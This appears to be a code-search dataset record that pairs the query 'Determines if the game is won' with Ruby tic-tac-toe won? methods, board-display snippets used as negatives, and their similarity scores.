"def display_board\n row1 = \" #{@board[0]} | #{@board[1]} | #{@board[2]}\\n\"\n row2 = \" #{@board[3]} | #{@board[4]} | #{@board[5]}\\n\"\n row3 = \" #{@board[6]} | #{@board[7]} | #{@board[8]}\\n\"\n spacer = \"-----------\\n\"\n\n row1 + spacer + row2 + spacer + row3\n end",
"def drawBoard\n\t$firstRow.each do |i|\n\t\ti.printState\n\tend\n\tnewLine\n\t$secondRow.each do |i|\n\t\ti.printState\n\tend\n\tnewLine\n\t$thirdRow.each do |i|\n\t\ti.printState\n\tend\n\tnewLine\nend",
"def display_board(brd)\n puts green(\"You're #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\")\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"def display_board(turn)\n # binding.pry\n temp_index = 0\n turn += 1\n turn.times do\n puts \"#{@board[temp_index][0]} #{@board[temp_index][1]} #{@board[temp_index][2]}\"\n temp_index += 1\n end\n end",
"def display_board\n\n puts \" #{@board[0].mark} | #{@board[1].mark} | #{@board[2].mark} \"\n puts \"-----------\"\n puts \" #{@board[3].mark} | #{@board[4].mark} | #{@board[5].mark} \"\n puts \"-----------\"\n puts \" #{@board[6].mark} | #{@board[7].mark} | #{@board[8].mark} \"\n end",
"def display_board\n @board.map.with_index do |playermove, index|\n if index == 0 && playermove.nil?\n print(\"#{index} |\") \n elsif index == 2 && playermove.nil?\n print(\"| #{index}\")\n elsif index == 3 && playermove.nil?\n print(\"#{index} |\") \n elsif index == 5 && playermove.nil?\n print(\"| #{index}\")\n elsif index == 6 && playermove.nil?\n print(\"#{index} |\")\n elsif index == 8 && playermove.nil?\n print(\"| #{index}\")\n elsif playermove.nil?\n print(\" #{index} \")\n else\n print(\" #{playermove} \")\n end\n if (index + 1) % 3 == 0 && index < 7\n print \"\\n---------\\n\"\n end\n end\n end",
"def display_board(board)\n\tputs \" #{board[0]} | #{board[1]} | #{board[2]} \"\n\tputs \"-----------\"\n\tputs \" #{board[3]} | #{board[4]} | #{board[5]} \"\n\tputs \"-----------\"\n\tputs \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board = [\"X\", \"X\", \"X\", \"X\", \"X\", \"X\", \"X\", \"X\", \"X\"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_game_board(player)\r\n \r\n move = \"\" #Assign a default value\r\n \r\n loop do #Loop forever\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Display the game board\r\n puts \"\\t\\t\\tWelcome to the Ruby Tic-Tac-Toe Game! \" +\r\n \"\\n\\n\\n\\n\"\r\n puts \"\\t\\t\\t 1 2 3\\n\" \r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t A #{$A1} | #{$A2} | #{$A3}\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t ---------------------\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t B #{$B1} | #{$B2} | #{$B3}\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t ---------------------\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t C #{$C1} | #{$C2} | #{$C3}\"\r\n puts \"\\t\\t\\t | |\"\r\n \r\n #Prompt the player to enter a move\r\n print \"\\n\\n\\n\\n\\nPlayer \" + player + \"'s turn. \" +\r\n \"Please enter your move: \"\r\n \r\n move = STDIN.gets #Collect the player's move\r\n move.chop! #Remove the end of line marker\r\n move = move.upcase #Convert to uppercase\r\n\r\n #user enters \"H\" as hidden cheat to display statistics\r\n if move == \"H\"\r\n puts display_statistics\r\n end\r\n\r\n #user enters \"M\" to load wikipedia instructions page\r\n if move == \"M\"\r\n puts display_wikipedia\r\n end\r\n\r\n #Terminate the loop if a valid move was entered\r\n if move.length == 2 then #Must be at 2 character long\r\n if move =~ /[A-C][1-3]/i #Must be A1, A2, A3, B1, \r\n #B2, B3, C1, C2, or C3\r\n #Call method responsible for determining if the \r\n #board square was available \r\n validMove = validate_player_move(move) \r\n if validMove == true #The move was valid \r\n break #Terminate the execution of the loop\r\n else\r\n #display_error method\r\n display_error\r\n end\r\n else\r\n #display_error method\r\n display_error\r\n end\r\n else\r\n #display_error method\r\n display_error\r\n end\r\n\r\n end\r\n \r\n return move #Return the player's move back to the\r\n #calling statement\r\n \r\n end",
"def draw_board()\n @board\n p \"#{@board[0]} || #{@board[1]} || #{@board[2]}\"\n p \"===========\"\n p \"#{@board[3]} || #{@board[4]} || #{@board[5]}\"\n p \"===========\"\n p \"#{@board[6]} || #{@board[7]} || #{@board[8]}\"\n puts \"\\n\"\n puts \"\\n\"\n end",
"def display_board(game)\n \n puts \" #{game[0]} #{VERTBAR} #{game[1]} #{VERTBAR} #{game[2]} \"\n puts \"#{SEP}\"\n puts \" #{game[3]} #{VERTBAR} #{game[4]} #{VERTBAR} #{game[5]} \"\n puts \"#{SEP}\"\n puts \" #{game[6]} #{VERTBAR} #{game[7]} #{VERTBAR} #{game[8]} \"\n \nend",
"def display_board (game)\n puts \" #{game[0]} | #{game[1]} | #{game[2]} \"\n puts \"-----------\"\n puts \" #{game[3]} | #{game[4]} | #{game[5]} \"\n puts \"-----------\"\n puts \" #{game[6]} | #{game[7]} | #{game[8]} \"\nend",
"def show_board # show the game board\n print @board[0..2]\n puts \"\\n\"\n print @board[3..5]\n puts \"\\n\"\n print @board[6..8]\n puts \"\\n\"\n end",
"def display_board(board)\n puts \" #{board[0]} \" \"|\" \" #{board[1]} \" \"|\" \" #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} \" \"|\" \" #{board[4]} \" \"|\" \" #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} \" \"|\" \" #{board[7]} \" \"|\" \" #{board[8]} \"\nend",
"def display_board\n puts \" \" + (\"_\" * 47)\n 8.downto(1) do |l|\n puts \" \" +(\"| \" * 8 ) + \"|\"\n puts \" #{l} | \" + @board[l-1].join(\" | \") + \" |\"\n puts \" \" +(\"|_____\" * 8 ) + \"|\"\n end\n puts (\" \" * 8) + ('a'..'h').to_a.join(\" \")\n end",
"def view_board\n row = [\"A\",\"B\",\"C\"]\n i = 0\n puts \" 1 2 3\"\n puts \" ___________\"\n @@tab.each do |y|\n puts \"#{row[i]}: | #{y[0].status} | #{y[1].status} | #{y[2].status} |\"\n puts \" |___________|\"\n i +=1\n end\n end",
"def display_board(board = [\"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n board = [\"O\", \"X\", \" \", \" \", \"X\", \" \", \"X\", \"O\", \" \"]\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\\n\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\\n\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def show_board\n\t\ttop_left = \"\\u250c\"\n\t\thorizontal = \"\\u2500\"\n\t\ttop_right = \"\\u2510\"\n\t\tbot_left = \"\\u2514\"\n\t\tbot_right = \"\\u2518\"\n\t\tvertical = \"\\u2502\"\n\t\tcross = \"\\u253c\"\n\t\ttop_cross = \"\\u252c\"\n\t\tbot_cross = \"\\u2534\"\n\t\tleft_vertical = \"\\u251c\"\n\t\tright_vertical = \"\\u2524\"\n\n\t\ttop_board = \" \" + top_left + (horizontal*3 + top_cross)*7 + horizontal*3 + top_right\n\t\tmid_board = vertical + (\" \" + vertical)*7 + \" \" + vertical\n\t\tseparator_board = \" \" + left_vertical + (horizontal*3 + cross)*7 + horizontal*3 + right_vertical\n\t\tbot_board = \" \" + bot_left + (horizontal*3 + bot_cross)*7 + horizontal*3 + bot_right\n\n\t\tputs \"\\n\" + top_board\n\n\t\t(2..8).reverse_each do |num|\n\t\t\tmid_test = num.to_s + vertical\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\tpair = letter + num.to_s \n\t\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\t\tend\n\t\t\tputs mid_test\n\t\t\tputs separator_board\n\t\tend\n\n\t\tmid_test = 1.to_s + vertical\n\t\t(\"a\"..\"h\").each do |letter|\n\t\t\tpair = \"#{letter}1\"\n\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\tend\n\n\t\tputs mid_test\n\t\tputs bot_board\n\t\tputs \" a b c d e f g h\\n\"\t\t\n\tend",
"def render\n @board.rows.each_with_index do |row, i|\n row.each_with_index do |tile, j|\n if i == 0 || i == 7\n if j == 0 || j == 7\n print \" R \"\n elsif j == 1 || j == 6\n print \" Kn\"\n elsif j == 2 || j == 5\n print \" B \"\n else\n print \" T \"\n end\n elsif i == 1 || i == 6\n print \" p \"\n else\n print \" X \".colorize(:blue)\n end\n end\n puts\n end\n return nil\n end",
"def show_board(spaces)\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def display_board\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display\n \"\\n=============COMPUTER BOARD=============\\n\" +\n \"#{@npc.board.render}\\n\" +\n \"==============PLAYER BOARD==============\\n\" +\n \"#{@user_board.render(true)}\\n\"\n end",
"def game_board\n puts \" 1 | 2 | 3 \"\n puts \"___________\"\n puts \" 4 | 5 | 6 \"\n puts \"___________\"\n puts \" 7 | 8 | 9 \"\nend",
"def display_board(board)\n row(0, board)\n row_separator\n row(1, board)\n row_separator\n row(2, board)\nend",
"def display_board(board)\n puts \" #{board[0] } | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3] } | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6] } | #{board[7]} | #{board[8]} \"\nend",
"def show_board(board)\n\n puts \"\n #{board[0]} | #{board[1]} | #{board[2]}\n #{board[3]} | #{board[4]} | #{board[5]}\n #{board[6]} | #{board[7]} | #{board[8]}\n \"\nend",
"def display_board (s)\n puts \" #{s[0]} | #{s[1]} | #{s[2]} \"\n puts \"-----------\"\n puts \" #{s[3]} | #{s[4]} | #{s[5]} \"\n puts \"-----------\"\n puts \" #{s[6]} | #{s[7]} | #{s[8]} \"\nend",
"def display_board(board = [\"X\", \"X\", \"X\", \" \", \" \", \" \", \" \", \" \", \" \"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(brd)\n puts \"You are #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend"
] |
[
"0.78369015",
"0.7769085",
"0.76257676",
"0.74422604",
"0.74041784",
"0.733471",
"0.73036766",
"0.7294039",
"0.72090185",
"0.718636",
"0.7173594",
"0.71548134",
"0.7152167",
"0.71395254",
"0.7113716",
"0.7113716",
"0.71100307",
"0.7104925",
"0.70980877",
"0.7097173",
"0.7097173",
"0.707954",
"0.70780134",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7073405",
"0.7070983",
"0.70621353",
"0.70584387",
"0.70515704",
"0.70446557",
"0.7044391",
"0.7040953",
"0.702441",
"0.7018056",
"0.7017605",
"0.7006619",
"0.7006619",
"0.7006359",
"0.699922",
"0.698931",
"0.69871247",
"0.6985436",
"0.6985436",
"0.698421",
"0.69831765",
"0.6977359",
"0.6959178",
"0.6954921",
"0.69440377",
"0.6940656",
"0.6930645",
"0.69252986",
"0.69252753",
"0.69193006",
"0.69134176",
"0.6913079",
"0.6908542",
"0.69073564",
"0.6906179",
"0.69058233",
"0.690455",
"0.6899949",
"0.6894749",
"0.68934417",
"0.6892548",
"0.6890331",
"0.6888596",
"0.6882629",
"0.6882076",
"0.68818456",
"0.6878619",
"0.68701273",
"0.6866246",
"0.6863039",
"0.6859128",
"0.685751",
"0.68541723",
"0.6854164",
"0.6852795",
"0.68518764",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324",
"0.6851324"
] |
0.0
|
-1
|
Determines if the game is won. Takes an board array and returns a boolean
|
def won?(board)
WIN_COMBINATIONS.detect do |win|
board[win[0]] == board[win[1]] && board[win[0]] == board[win[2]] &&
position_taken?(board, win[0])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def board_won?\n\t\twon = false\n\t\t\n\t\tWINNING_POSITIONS.each do |positions|\n\t\t\tn = 0\n\t\t\tfor i in 0..8\n\t\t\t n += 1 if (positions[i] == @gameplay_positions[i] && positions[i] != 0)\n\t\t\tend\n\t\t\tif n == 3\n\t\t\t\twon = true\n\t\t\tend\n\t\tend\n\n\t\twon ? true : false\n\tend",
"def over?(board_array)\n if full?(board_array) || won?(board_array)\n return true\n else\n return false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |wc|\n board[wc[0]] == board[wc[1]] && board[wc[1]] == board [wc[2]] && position_taken?(board, wc[0])\n end \n end",
"def has_won(board)\n # printf(\"Pre-Solved: %b \\n\", board)\n # puts \"Num: #{board}\"\n # check \\ diagonal\n w = board & (board >> 7)\n # check -- horizontal\n x = board & (board >> 8)\n # check / diagonal\n y = board & (board >> 9)\n # check | vertical\n z = board & (board >> 1)\n\n bitboard = ( (w & (w >> (2 * 7))) |\n (x & (x >> (2 * 8))) |\n (y & (y >> (2 * 9))) |\n (z & (z >> (2 * 1))) )\n # printf(\"Solved: %b \\n\", bitboard)\n # puts @game_state_model::state\n return bitboard > 0\n end",
"def won?\n if @board.all? { |i| i == \"\" || i == \" \"} == true\n return false\n end\n WIN_COMBINATIONS.detect do |win_cond|\n @board[win_cond[0]] == @board[win_cond[1]]&&\n @board[win_cond[0]] == @board[win_cond[2]]&&\n position_taken?(win_cond[0])\n end\n end",
"def won?\n # iteration returns 3 winning cells as win_combo array; or nil\n win_combo = WIN_COMBINATIONS.detect do |combo|\n board.cells[combo[0]] == board.cells[combo[1]] &&\n board.cells[combo[1]] == board.cells[combo[2]] &&\n board.cells[combo[2]] != \" \"\n end\n # won? returns winning array if found; or false\n win_combo == nil ? false : win_combo\n end",
"def won?(board_array)\r\n #logic to check for a winning combination\r\n WIN_COMBINATIONS.detect do |combo|\r\n board_array[combo[0]] == board_array[combo[1]] && board_array[combo[2]] == board_array[combo[1]]&&position_taken?(board_array,combo[0])\r\n #winner_for_game = board_array[combo[0]]\r\n #return true\r\n end\r\n end",
"def won?\n WIN_COMBINATIONS.any? { |currentBoard| \n if position_taken?( currentBoard[0] ) && @board[currentBoard[0]] == @board[currentBoard[1]] && @board[currentBoard[1]] == @board[currentBoard[2]]\n return currentBoard\n end\n }\n end",
"def won?\r\n WIN_COMBINATIONS.detect do |combo|\r\n @board[combo[0]] == @board[combo[1]] &&\r\n @board[combo[1]] == @board[combo[2]] && @board[combo[0]] != \" \"\r\n end\r\n end",
"def won?(board)\n WIN_COMBINATIONS.each do |single_win_combo|\n win_index_1 = single_win_combo[0]\n win_index_2 = single_win_combo[1]\n win_index_3 = single_win_combo[2]\n\n # Pos 1,2,3 will cycle thru all 9 spaces on board\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n if position_1 == position_2 && position_2 == position_3 && position_taken?(@board, win_index_1)\n return single_win_combo\n end\n end\n return false\n end",
"def won?\n if @board.last == @board.last.sort && @board.last.length == @towers\n return true\n else\n return false\n end\n end",
"def won?(board)\n res = false\n WIN_COMBINATIONS.each do |win_combination|\n board_entries = [board[win_combination[0]], board[win_combination[1]], board[win_combination[2]]]\n board_entries == [\"X\", \"X\", \"X\"] || board_entries == [\"O\", \"O\", \"O\"] ? res = win_combination : false\n end\n res\n\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combination|\n board[win_combination[0]] == board[win_combination[1]] &&\n board[win_combination[1]] == board[win_combination[2]] &&\n position_taken?(board, win_combination[0])\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combo|\n board[win_combo[0]] == board[win_combo[1]] &&\n board[win_combo[0]] == board[win_combo[2]] &&\n position_taken?(board, win_combo[0])\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_index|\n board[win_index[0]] == board[win_index[1]] && \n board[win_index[0]] == board[win_index[2]] &&\n position_taken?(board, win_index[0])\n end\nend",
"def won?\n \n # Iterates through WIN_COMBINATIONS and finds first matching win_combination and returns the winning array.\n WIN_COMBINATIONS.detect do |win_combination|\n \n # Each 'win_index' returns the first, second, and third elements of each winning combo array.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n # Each 'position' uses the indices from the winning combos and applies them to the 'board' array.\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n \n # Takes first win_combination and checks to see if they are all \"X\"'s or \"O\"'s and that the string is not empty.\n position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n end\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |win1|\n win1.all? { |number| board[number] == \"X\"} || win1.all? { |number| board[number] == \"O\"}\n end\n end",
"def won?\n WIN_COMBINATIONS.any? do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n @board[combo[0]] == @board[combo[1]] &&\n @board[combo[1]] == @board[combo[2]] &&\n position_taken?(combo[0])\n end\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n @board[combo[0]] == @board[combo[1]] &&\n @board[combo[1]] == @board[combo[2]] &&\n position_taken?(combo[0])\n end\n end",
"def won?\n won = false\n WIN_COMBINATIONS.each do |win_combination|\n board_entries = [@board.cells[win_combination[0]], @board.cells[win_combination[1]], @board.cells[win_combination[2]]]\n board_entries == [\"X\", \"X\", \"X\"] || board_entries == [\"O\", \"O\", \"O\"] ? won = win_combination : false\n end\n won\n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combination|\n if board[win_combination[0]]==board[win_combination[1]]&&board[win_combination[0]]==board[win_combination[2]]&&board[win_combination[0]]!=\" \"\n return win_combination\n end\n end\n false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win|\n if [board[win[0]], board[win[1]], board[win[2]]] == [\"X\", \"X\", \"X\"] ||\n [board[win[0]], board[win[1]], board[win[2]]] == [\"O\", \"O\", \"O\"]\n return win\n end\n end\n return false\nend",
"def won?\n WIN_COMBINATIONS.detect do |wc|\n @board[wc[0]] == @board[wc[1]] && @board[wc[1]] == @board[wc[2]] && position_taken?(wc[0])\n end \n end",
"def won?(board)\n WIN_COMBINATIONS.detect do |combination|\n board[combination[0]] == board[combination[1]] &&\n board[combination[1]] == board[combination[2]] &&\n position_taken?(board, combination[0])\n end\nend",
"def won?\n WIN_COMBINATIONS.each do |comb|\n if (@board[comb[0]] == \"X\") && (@board[comb[1]] == \"X\") && (@board[comb[2]] == \"X\")\n @winner = \"X\"\n return true\n elsif (@board[comb[0]] == \"O\") && (@board[comb[1]] == \"O\") && (@board[comb[2]] == \"O\")\n @winner = \"O\"\n return true\n end\n end\n\n return false\n end",
"def won?(board)\n WIN_COMBINATIONS.detect {|x| \n board[x[0]] ==board[x[1]] && board[x[1]] == board[x[2]] &&\n position_taken?(board, x[0]) }\nend",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] &&\n @board.cells[combo[1]] == @board.cells[combo[2]] &&\n @board.taken?(combo[0]+1)\n end\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n combo.all? { |c| position_taken?( c ) && @board[c] == @board[ combo[0] ] }\n end\n end",
"def won?\n ::WIN_COMBINATIONS.detect do |combo|\n board.cells[combo[0]] == @board.cells[combo[1]] &&\n board.cells[combo[1]] == @board.cells[combo[2]] &&\n board.taken?(combo[0]+1)\n end\n end",
"def draw?(board_array)\n if won?(board_array)\n return false\n else\n return true\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combo|\n # win_combo is a 3 element array of indexes that compose a win, [0,1,2]\n if (board[win_combo[0]] == \"X\" && board[win_combo[1]] == \"X\" && board[win_combo[2]] == \"X\") || (board[win_combo[0]] == \"O\" && board[win_combo[1]] == \"O\" && board[win_combo[2]] == \"O\")\n return win_combo # return the win_combo indexes that won.\n end\n end\n false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do|win|\n if (board[win[0]] == 'X' && board[win[1]] == 'X' && board[win[2]] == 'X') || (board[win[0]] == 'O' && board[win[1]] == 'O' && board[win[2]] == 'O')\n return win\n end\n end\n false\nend",
"def won?(board)\n \n WIN_COMBINATIONS.each do |win_combo|\n p1 = board[win_combo[0]]\n p2 = board[win_combo[1]]\n p3 = board[win_combo[2]]\n \n if (p1 == \"X\" && p2 == \"X\" && p3 == \"X\") || (p1 == \"O\" && p2 == \"O\" && p3 == \"O\")\n return win_combo\n end\n \n end\n return false\n end",
"def someone_wins(board)\n winning_possibilities(board).any? {|possible_win| possible_win.uniq.length == 1 }\n end",
"def won?(board)\n tanda=0\n WIN_COMBINATIONS.each do |ok|\n if board[ok[0]]== \"X\" && board[ok[1]]== \"X\" && board[ok[2]]==\"X\"\n tanda=2\n return ok\n elsif board[ok[0]]== \"O\" && board[ok[1]]== \"O\" && board[ok[2]]==\"O\"\n tanda=2\n return ok\n end\n end\n if tanda==0\n return false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == board[combo[1]] && board[combo[1]] == board[combo[2]]\n return combo unless board[combo[0]] == \" \"\n end\n end\n false\nend",
"def won?\n player_marker = @players[@current_player_idx].marker\n WINNING_LOCATIONS.each do |winning_triple|\n return true if winning_triple.map { |loc| @board[loc].fill_char == player_marker }.all?\n end\n false\n end",
"def won?(board)\n # cycle through WIN_COMBINATIONS\n WIN_COMBINATIONS.detect { |winning_combo|\n # print win_index\n # print '\\n'\n position_taken?(board,winning_combo[0]) &&\n position_taken?(board,winning_combo[1]) &&\n position_taken?(board,winning_combo[2]) &&\n board[winning_combo[0]] == board[winning_combo[1]] &&\n board[winning_combo[1]] == board[winning_combo[2]]\n }\nend",
"def won?\n\t\tWIN_COMBINATIONS.each do |condition| \n\t\t\trow = @board.values_at(*condition[0..2])\n\t\t\tif row.uniq.length == 1 && !row.include?(\" \")\n\t\t\t\treturn condition[0..2]\n\t\t\tend\n\t\tend\n\t\tfalse\n\tend",
"def over?(board_array)\r\n draw?(board_array) || won?(board_array)\r\nend",
"def won?(board)\n WIN_COMBINATIONS.detect do |win_combination|\n if win_combination.all? do |win_position|\n board[win_position] == \"X\"\n end\n true\n elsif win_combination.all? do |win_position|\n board[win_position] == \"O\"\n end\n true\n else\n false\n end\n end\nend",
"def won?\n \n \tboard_empty = @board.none? { |i| i == \"X\" || i = \"O\"}\n\tif board_empty\n \tfalse\n\telse\n WIN_COMBINATIONS.each do |element|\n \tif @board[element[0]] == \"X\" && @board[element[1]] == \"X\" && @board[element[2]] == \"X\" || @board[element[0]] == \"O\" && @board[element[1]] == \"O\" && @board[element[2]] == \"O\"\n \treturn element\n \tend\n \tend\n \treturn false\n end\nend",
